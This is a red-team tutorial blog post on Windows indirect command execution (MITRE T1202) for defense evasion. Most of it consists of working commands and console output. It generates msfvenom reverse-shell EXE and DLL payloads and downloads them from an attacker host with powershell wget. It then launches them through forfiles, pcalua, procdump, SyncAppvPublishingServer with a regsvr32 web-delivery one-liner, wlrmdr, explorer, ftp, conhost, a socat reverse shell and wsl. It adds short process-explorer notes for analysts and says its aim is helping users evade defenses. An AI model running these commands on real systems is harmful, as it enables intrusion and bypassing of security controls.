Indirect Command Execution: Defense Evasion (T1202)

March 17, 2022 By Raj Chandel

Introduction

Indirect Command Execution is a defense evasion technique that is often used by Red Teams in which an adversary tries to bypass certain defense filters put in place which may restrict certain types of scripts/executables from running. Various Windows utilities may be used to execute commands, possibly without invoking cmd. For example, if a firewall is restricting DLL execution, it can be bypassed using a procdump method or if there is a whitelist on certain executables containing pcalua.exe, it can be used to execute other executables. Some of these methods are discussed in this article.

MITRE TACTIC: Defense Evasion (TA0005)

MITRE TECHNIQUE ID: T1202 (Indirect Command Execution)

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Malicious EXE Creation

First, we need to create an executable that will be executed. This is a simple simulation of what might happen in a real-time Red Team scenario. We'll use msfvenom to create a simple reverse shell. After that, we need to upload this exe into the victim machine using a python server.

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.89 LPORT=4444 -f exe > shell.exe
python3 -m http.server 80
```

Now, we can upload this executable to the already compromised victim device using powershell wget

```
powershell wget 192.168.0.89/shell.exe -O C:\Users\Public\shell.exe
```

```
(root@kali)-[~]
    nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49847
Microsoft Windows [Version 10.0.10586] consideration
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>powershell wget 192.168.0.89/shell.exe -0 C:\Users\Public\shell.exe
powershell wget 192.168.0.89/shell.exe -0 C:\Users\Public\shell.exe
C:\Users\Public>
```

Now, the file is uploaded in the C:\Users\Public directory for further use.

Method 1 - forfiles

According to Microsoft, "Selects and runs a command on a file or set of files. This command is most commonly used in batch files." Here, /p specifies the path where forfiles will search for the search mask defined by /m flag (here, calc.exe). However, anything after the /c flag is the actual command. Hence, forfiles will now run our custom-made shell.

```
forfiles /p c:\windows\system32 /m calc.exe /c C:\Users\Public\shell.exe
```

```
C:\Users\Public>forfiles /p c:\windows\system32 /m calc.exe /c C:\Users\Public\shell.exe forfiles /p c:\windows\system32 /m calc.exe /c C:\Users\Public\shell.exe
```

```
(root@kali)=[~]
    nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49897
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
workstation01\hex
C:\Users\Public>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, forfiles.exe is running a suspicious file "shell.exe"

Process Explorer - Sysinternals: www.sysinternals.com [WORKSTATION01\hex] File Options View Process Find Users Help **#** Process CPU Private Bytes PID Description Working Set System Idle Process 72.35 0 K 4 K < 0.01 120 K 116 K 4 < 0.01 1.220 K 3.908 K 372 csrss.exe 1.092 K 4.716 K 440 → wininit.exe < 0.01 1,388 K 6,888 K 452 csrss.exe 532 winlogon.exe 2,132 K 9,168 K < 0.01 52,024 K 98,420 K 🚞 explorer.exe 3812 Windows Ex < 0.01 12,820 K 32,536 K 4800 VMware Too vmtoolsd.exe 19,152 K 60,180 K 4808 Microsoft One OneDrive.exe 💓 procexp64.exe < 0.01 20,036 K 39,820 K 4016 Sysinternals 3.308 K 5100 Windows Co cmd.exe 1.692 K 10,636 K 2488 Console Win conhost.exe 14,840 K < 0.01 884 K 4,056 K 3872 nc64.exe 3844 Windows Co cmd.exe 1,560 K 2.792 K 2124 ForFiles - Ex – 🔳 forfiles.exe 🔫 668 K 3.664 K 644 K 3,408 K shell.exe 804 ApacheBenc cmd.exe 1,860 K 3,464 K 4232 Windows Co 2980 Console Win conhost.exe 10.536 K 11,428 K csrss.exe < 0.01 2800 1,272 K 3,716 K 1,660 K 6,208 K 2016 winlogon.exe LogonUl.exe 24,912 K 68.332 K 5172 29,272 K 39,076 K 5216 dwm.exe

Method 2 - pcalua.exe

The Program Compatibility Assistant is an automatic feature of Windows that runs when it detects an older program has a compatibility problem. Because of the utility of this executable, this is more often whitelisted in

the systems. This can also run custom exe in compatibility mode. We can run our executable using the program with "-a" flag like:

```
pcalua.exe -a C:\Users\Public\shell.exe

C:\Users\Public>pcalua.exe -a C:\Users\Public\shell.exe
pcalua.exe -a C:\Users\Public\shell.exe


C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
    nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49897
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
workstation01\hex
C:\Users\Public>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, shell exe has spawned as a standalone process.



Method 3 – procdump.exe (DLL method)

ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike. This binary, developed by sysinternals team, can also be used to execute a DLL file by utilizing the 'MiniDumpCallbackRoutine' exported function. A valid ongoing process has to be provided as the memory dump of that process will be created while loading this DLL onto it.

First, we need to create our DLL payload using msfvenom

```
msfvenom -p windows/shell_reverse_tcp -f dll LHOST=192.168.0.89 LPORT=4444 > shell.dll
```

```
(root@kali)-[~]
    msfvenom -p windows/shell_reverse_tcp -f dll LHOST=192.168.0.89 LPORT=4444 > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of dll file: 8704 bytes

(root@kali)-[~]
    python3 -m http.server 80
```

Once, the DLL has been uploaded onto the victim system, using python server and powershell wget utility, procdump can be run with the "-md" option

```
C:\Sysinternals\procdump.exe -md shell.dll explorer.exe

C:\Users\Public>powershell wget 192.168.0.89/shell.dll -0 shell.dll

powershell wget 192.168.0.89/shell.dll -0 shell.dll

C:\Users\Public>C:\Sysinternals\procdump.exe -md shell.dll explorer.exe


C:\Sysinternals\procdump.exe -md shell.dll explorer.exe
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
    nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49878
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
workstation01\hex
C:\Users\Public>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, our DLL has been executed using rundll as a child process of procdump.



Method 4 - SyncAppvPublishingServer.vbs

SyncAppvPublishingServer.vbs is a script available in newer versions on Windows 10 and 11 only. This is developed by Microsoft and can be used for MS Application Virtualization. It can also be indirectly used for executing EXE. This is achieved by .NET cmdlet known as "Start-Process"

```
SyncAppvPublishingServer.vbs "n; Start-Process C:\Users\Public\shell.exe"

C:\Users\Public>SyncAppvPublishingServer.vbs "n; Start-Process C:\Users\Public\shell.exe"

SyncAppvPublishingServer.vbs "n; Start-Process C:\Users\Public\shell.exe"

C:\Users\Public>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost has been spawned inside a powershell process.

	X M	₩				
Process	CPU	Private Bytes	Working Set	PID	Description	Company Name
Registry		1,860 K	65,736 K	88		
System Idle Process	6.82	56 K	8 K	0		
System	0.76	192 K	152 K	4		
Interupts	0.76	0 K	0 K	n/a	Hardware Interrupts and DPCs	
smss.exe		504 K	1,204 K	324		
Memory Compression	0.76	188 K	23,068 K	1484		
csrss.exe		1,668 K	5,200 K	428		
csrss.exe	< 0.01	1,696 K	5,272 K	508		
		1,356 K	6,952 K	528		
■ winlogon.exe		2,624 K	12,212 K	584		
fontdrvhost.exe		3,140 K	6,948 K	812		
dwm.exe	< 0.01	71,704 K	120,824 K	60		
Explorer.exe	0.76	79,020 K	143,692 K	4864	Windows Explorer	Microsoft Corporation
vm vmtoolsd.exe	< 0.01	23,708 K	42,776 K	6252	VMware Tools Core Service	VMware, Inc.
☐ cmd.exe	ickin	3,780 K	4,412 K	6412	Windows Command Processor	Microsoft Corporation
conhost.exe		7,244 K	18,260 K	5080	Console Window Host	Microsoft Corporation
□ nc64.exe	< 0.01	940 K	4,772 K	1116		
cmd.exe		8,696 K	13,664 K	2788	Windows Command Processor	Microsoft Corporation
procexp64.exe	3.03	21,156 K	41,792 K	108	Sysintemals Process Explorer	Sysintemals - www.sysinter
csrss.exe	< 0.01	1,544 K	4,736 K	4068		
■ winlogon.exe		2,252 K	8,904 K	4848		
LogonUI.exe		19,684 K	58,920 K	1584		
dwm.exe	< 0.01	35,932 K	50,772 K	4780		
fontdrvhost.exe		1,364 K	3,780 K	4708		
	78.01	62,224 K	73,124 K	4972	Windows PowerShell	Microsoft Corporation
conhost.exe	< 0.01	3,504 K	13,176 K	2008	Console Window Host	Microsoft Corporation

Since just passing in the exe's path can make the VBS script execute it, we can also use the regsrv32 method in Metasploit.

```
use multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.89
set lport 1337
set target 3
run
```

```
msf6 > use multi/script/web_delivery
Using configured payload python/meterpreter/reverse_tcp
                                      r) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(
payload ⇒ windows/x64/meterpreter/reverse tcp
msf6 exploit(m
                                       r) > set lhost 192.168.0.89
lhost ⇒ 192.168.0.89
                          web delivery) > set lport 1337
msf6 exploit(
lport \Rightarrow 1337
msf6 exploit(multi/script/web_delivery) > set target 3
target ⇒ 3
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.89:1337
Using URL: http://0.0.0.0:8080/qYRAgZv3qAaNC
[*] Local IP: http://192.168.0.89:8080/qYRAgZv3qAaNC
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.0.89:8080/qYRAgZv3qAaNC.sct scrobj.dll
<u>msf6</u> exploit(
```

Now, we can inject this command into the SyncAppvPublishingServer.vbs script by giving a break clause and then the one liner.

```
SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.0.89:8080/qYRAgZv3qAaNC.sc scrobj.dll"

C:\Users\Public>SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.0.89:8080/F3w2e8tluTj.sct scrobj.dll"


SyncAppvPublishingServer.vbs "Break; regsvr32 /s /n /u /i:http://192.168.0.89:8080/F3w2e8tluTj.sct scrobj.dll"

C:\Users\Public>
```

On our Metasploit console, we receive a reverse shell!

```
<u>nsf6</u> exploit(
                                        > [*] 192.168.0.119
                                                               web_delivery - Handling .sct Request
                    web_delivery - Delivering Payload (3733 bytes)
*] 192.168.0.119
   Sending stage (200262 bytes) to 192.168.0.119
[*] Meterpreter session 1 opened (192.168.0.89:1337 → 192.168.0.119:1099 ) at 2022-03-17 02:48:56 -0400
*] 192.168.0.119
                    web_delivery - Handling .sct Request
                    web_delivery - Delivering Payload (3727 bytes)
*] 192.168.0.119
 Sending stage (200262 bytes) to 192.168.0.119
*] Meterpreter session 2 opened (192.168.0.89:1337 → 192.168.0.119:1102 ) at 2022-03-17 02:49:41 -0400
msf6 exploit(
                                      ) > sessions
Active sessions
           Type
                                     Information
                                                                            Connection
 Ιd
     Name
           meterpreter x64/windows DESKTOP-9GSGK09\hex @ DESKTOP-9GSGK09
                                                                            192.168.0.89:1337 → 192.168.0.119:109
           meterpreter x64/windows DESKTOP-9GSGK09\hex @ DESKTOP-9GSGK09
                                                                            192.168.0.89:1337 → 192.168.0.119:110
                               elivery) > sessions 1
msf6 exploit(
[*] Starting interaction with 1...
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost has been spawned inside a powershell process.



Method 5 - wlrmdr.exe

Windows Logon Reminder (wlrmdr.exe) is an executable file available by default in Microsoft which often throws up balloon reminders saying that Windows needs to lock and unlock the device in order to update windows login credentials. Here, this tool is taking a bunch of flags for input.

-s: Time to show notification in milliseconds. Use 0 to display the notification without a timeout.

-f < x > One or more of the following values that indicate an icon to display in the notification.

0x00000000 = Do not display an icon.

0x00000001 = Display an information icon.

0x00000002 = Display a warning icon.

0x00000003 = Display an error icon.

0x00000004 = Icon of keys.

0x00000010 = Do not play the associated sound.

x is decimal. To display an information icon without sound = 0x01 + 0x10 = 0x11 = 17 decimal

-t: Text first Line

-m: Text second Line

-u: Executable to run


```
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u C:\Users\Public\shell.exe
```

```
(root@kali)-[~]
# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49789
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Public>wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u C:\Users\Public\shell.exe
wlrmdr.exe -s 3600 -f 0 -t _ -m _ -a 11 -u C:\Users\Public\shell.exe
C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, shell exe as a standalone has been spawned.



Method 6 – explorer.exe

Explorer.exe is the executable run when a user opens the file manager. The path bar where the current working directory is mentioned also serves as a run prompt kind of a thing where if you input name of a binary it spawns (like cmd.exe). Moreover, the binary is spawned as a child process of explorer.exe. This can be achieved via the command line too.


```
explorer.exe /root, "C:\Users\Public\shell.exe"

C:\Users\Public>explorer.exe /root, "C:\Users\Public\shell.exe"

explorer.exe /root, "C:\Users\Public\shell.exe"

C:\Users\Public>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, cmd.exe has been spawned which in turn runs our shell.exe



Method 7 - cmd.exe

Cmd.exe is the command prompt (terminal) of Windows and is capable of executing binaries using the /c flag. One can indirectly execute a malicious file using cmd.exe like so:

```
cmd.exe /c C:\Users\Public\shell.exe
```

Moreover, an attacker may also benefit from the lesser-known path traversal execution method. This lets an attacker traverse back to explorer exe and use that to initiate the process for "shell exe." This complicates the analysis part for a blue teamer and is considered better than the previous method.

```
cmd.exe /c "ignite.local /../../../../../../windows/explorer.exe"
/root,C:\Users\Public\shell.exe
```

```
C:\Users\Public>cmd.exe /c "ignite.local /../../../../../../../../windows/explorer.exe" /root,C:\Users\Public\
shell.exe cmd.exe /c "ignite.local /../../../../../../../../windows/explorer.exe" /root,C:\Users\Public\shell.exe


C:\Users\Public>
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
    nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49937
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
workstation01\hex
C:\Windows\system32>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost (masking our shell) has been spawned as a child process under explorer exe process and is stealthier.



Method 8 - ftp.exe

Newer versions of Windows 10 and 11 come with a ftp.exe binary already included with the default installation. Moreover, it is available in the system PATH variable and can be executed from any working directory.

Thereafter, we can load the command we want to run in a text file called "script.txt" and execute it using the ftp - s option which executes text files as a script. Hence, we include the explorer exe command in this script and execute it using ftp.

```
echo !explorer.exe /root, "C:\Users\Public\shell.exe" > script.txt && ftp -s:script.txt

C:\Users\Public>echo !explorer.exe /root, "C:\Users\Public\shell.exe" > script.txt && ftp -s:script.txt
echo !explorer.exe /root, "C:\Users\Public\shell.exe" > script.txt && ftp -s:script.txt
!explorer.exe /root, "C:\Users\Public\shell.exe"


I
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

```
(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.26] 49908
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
workstation01\hex
C:\Windows\system32>
C:\Windows\system32>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, an ftp instance is running with no notable indication of our shell exe in processes making it stealthier.



Method 9 - conhost.exe

Conhost.exe stands for Console Host which was introduced with Windows 7. It is sort of a bridge between old school CRSS and cmd.exe. More information can be found here. In simpler terms it helps Command Prompt to interact with Windows explorer and provides functionality like drag and drop text from explorer to cmd.exe.


Conhost can also be used to launch arbitrary executables. Depending on which Windows version you are using the results may vary but as per Build 1809, I found it to be working.

```
C:\Users\Public>conhost "ignite.local C:\Users\Public\shell.exe"

C:\Users\Public>conhost "ignite.local C:\Users\Public\shell.exe"

C:\Users\Public>
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, a conhost instance has been launched within a cmd.exe process. It is stealthy as compared to other methods as shell.exe isn't seen in the process explorer.



The next two methods are use-case specific. WSL stands for Windows Subsystem for Linux and can help a user install an instance of their favourite Linux distro onto Windows itself by creating a subsystem. Here, the victim has installed an Ubuntu instance in WSL. It can be installed by instructions provided here.

If the victim has a WSL installed with socat package, bash.exe present in the system can be used to obtain a reverse shell like so:

```
bash.exe -c "socat tcp-connect:192.168.0.89:4444 exec:sh,pty,stderr,setsid,sigint,sane"

C:\Users\Public>bash.exe -c "socat tcp-connect:192.168.0.89:4444 exec:sh,pty,stderr,setsid,sigint,sane"
bash.exe -c "socat tcp-connect:192.168.0.89:4444 exec:sh,pty,stderr,setsid,sigint,sane"
```

On our reverse listener set up on port 4444, we receive a connection as the shell gets executed!

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, wsl.exe process has been launched under which conhost is initiated along with a socat and bash process. It is stealthy.

Process Explorer -	Sysinternals: www	.sysinternals.com	[DESKTOP-E8AK5SR\a_cha]
--------------------	-------------------	-------------------	-------------------------

File Options View Process Find Users Help

The Options view Flocess Third Osers Theip					
💹 🔯 📰 🗉 🖂 🖄 🚰 メ	M)			
Process	CPU	Private Bytes	Working Set	PID	Description
■ Registry		14,320 K	89,788 K	124	
System Idle Process	79.98	60 K	8 K	0	
System System	0.19	208 K	4,240 K	4	
csrss.exe		1,948 K	4,792 K	812	
		1,424 K	5,536 K	856	
csrss.exe	< 0.01	4,992 K	5,076 K	980	
winlogon.exe		2,940 K	11,432 K	688	
- explorer.exe	0.38	80,860 K	1,49,396 K	2884	Windows Explorer
SecurityHealthSystray.exe		1,968 K	9,072 K	5392	Windows Security notification
⊞ 🤖 vmware.exe	< 0.01	64,888 K	92,516 K	11092	VMware Workstation
🔻 vgtray.exe	< 0.01	2,244 K	9,716 K	6816	Vanguard tray notification.
notepad.exe		3,216 K	18,388 K	9616	Notepad
	< 0.01	1,52,420 K	2,42,908 K	6228	Google Chrome
🕂 🔤 cmd.exe		2,512 K	4,920 K	6892	Windows Command Process
cmd.exe		2,272 K	4,432 K	3908	Windows Command Process
conhost.exe		7,972 K	19,900 K	8968	Console Window Host
🔙 🐧 wsl.exe 🚤 💮		1,200 K	6,468 K	11496	Microsoft Windows Subsyste
wslhost.exe		1,176 K	6,300 K	11492	Microsoft Windows Subsyste
conhost exe		6,660 K	12,940 K	12176	Console Window Host
flameshot.exe		27,072 K	82,780 K	9796	Flameshot
	< 0.01	1,77,144 K	44,616 K	3964	Radeon Software: Host Appli
AMDRSServ.exe		6,048 K	89,564 K	9328	Radeon Settings: Host Service
🎥 procexp64.exe	0.38	34,504 K	56,052 K	12112	Sysinternals Process Explorer
■ I bash		1,844 K	3,596 K	7812	
socat 		840 K	1,972 K	2880	
■ I dash		204 K	708 K	3956	

Method 11 - WSL Only (wsl.exe)

Socat instance on a WSL is plausible but not necessary. However, an executable called wsl.exe is present by default in the Windows system where WSL is installed. This exe can be used to launch the exe present in WSL. This way, the shell will be launched indirectly.

```
wsl.exe -e /mnt/c/Users/Public/shell.exe
```

```
C:\Users\Public>wsl.exe -e /mnt/c/Users/Public/shell.exe
wsl.exe -e /mnt/c/Users/Public/shell.exe
```

```
(root@kali)-[~]
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.0.89] from (UNKNOWN) [192.168.0.189] 61435
Microsoft Windows [Version 10.0.19044.1586]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Public>whoami
whoami
desktop-e8ak5sr\a_cha
```

Inspection in process explorer: In the victim system, if an analyst checks process explorer, he shall see the following processes running that should make him suspicious. As you can see, wsl.exe process has been launched under which conhost is initiated along with a shell.exe process. It is not as stealthy as other methods.

Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-E8AK5SR\a_cha]

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Process	CPU	Private Bytes	Working Set	PID	Description
■ Registry		11,380 K	90,716 K	124	
System Idle Process	68.75	60 K	8 K	0	
System	1.30	208 K	4,280 K	4	
Interrupts	1.30	0 K	0 K	n/a	Hardware Interrupts and DPCs
smss.exe		1,064 K	556 K	524	
Memory Compression		572 K	1,88,184 K	3176	
csrss.exe		1,968 K	5,028 K	812	
		1,424 K	5,536 K	856	
csrss.exe	< 0.01	5,596 K	5,352 K	980	
winlogon.exe		3,036 K	11,780 K	688	
fontdrvhost.exe		7,360 K	7,372 K	1196	
dwm.exe	0.56	73,012 K	64,072 K	1400	
- replorer.exe	0.93	82,796 K	1,51,544 K	2884	Windows Explorer
SecurityHealthSystray.exe		2,044 K	9,196 K	5392	Windows Security notification
	< 0.01	66,568 K	81,480 K	11092	VMware Workstation
Vgtray.exe	< 0.01	2,244 K	9,556 K	6816	Vanguard tray notification.
inotepad.exe		3,052 K	17,824 K	9616	Notepad
⊕ chrome.exe	0.19	1,46,788 K	2,06,280 K	6228	Google Chrome
flameshot.exe	< 0.01	28,056 K	61,260 K	9796	Flameshot
cmd.exe		2,224 K	4,516 K	804	Windows Command Process
conhost.exe		7,004 K	16,400 K	13804	Console Window Host
nc64.exe	< 0.01	968 K	4,660 K	2912	
— cmd.exe		2,344 K	4,580 K	8488	Windows Command Process
☐ wsl.exe wsl.exe		1,244 K	6,528 K	3124	Microsoft Windows Subsyste
wslhost exe		1,136 K	6,268 K	9736	Microsoft Windows Subsyste
conhost.exe		6,676 K	12,908 K	4792	Console Window Host
shell.exe		796 K	4,340 K	8940	ApacheBench command line
cmd.exe		2,696 K	5,388 K	13428	Windows Command Process
conhost.exe		6,668 K	12,892 K	9232	Console Window Host
☐ ऻऻ WinRAR.exe	< 0.01	17.208 K	61.144 K	4068	WinRAR archiver

Conclusion

While some of the methods defined above are stealthy, others create some noise. Red Teamers must evaluate which method they want to use in order for them to conduct operations smoothly. The aim of the article was to demonstrate as many methods as possible for indirect command execution in order for a user to evade defenses easily. Hope you liked the article. Thanks for reading.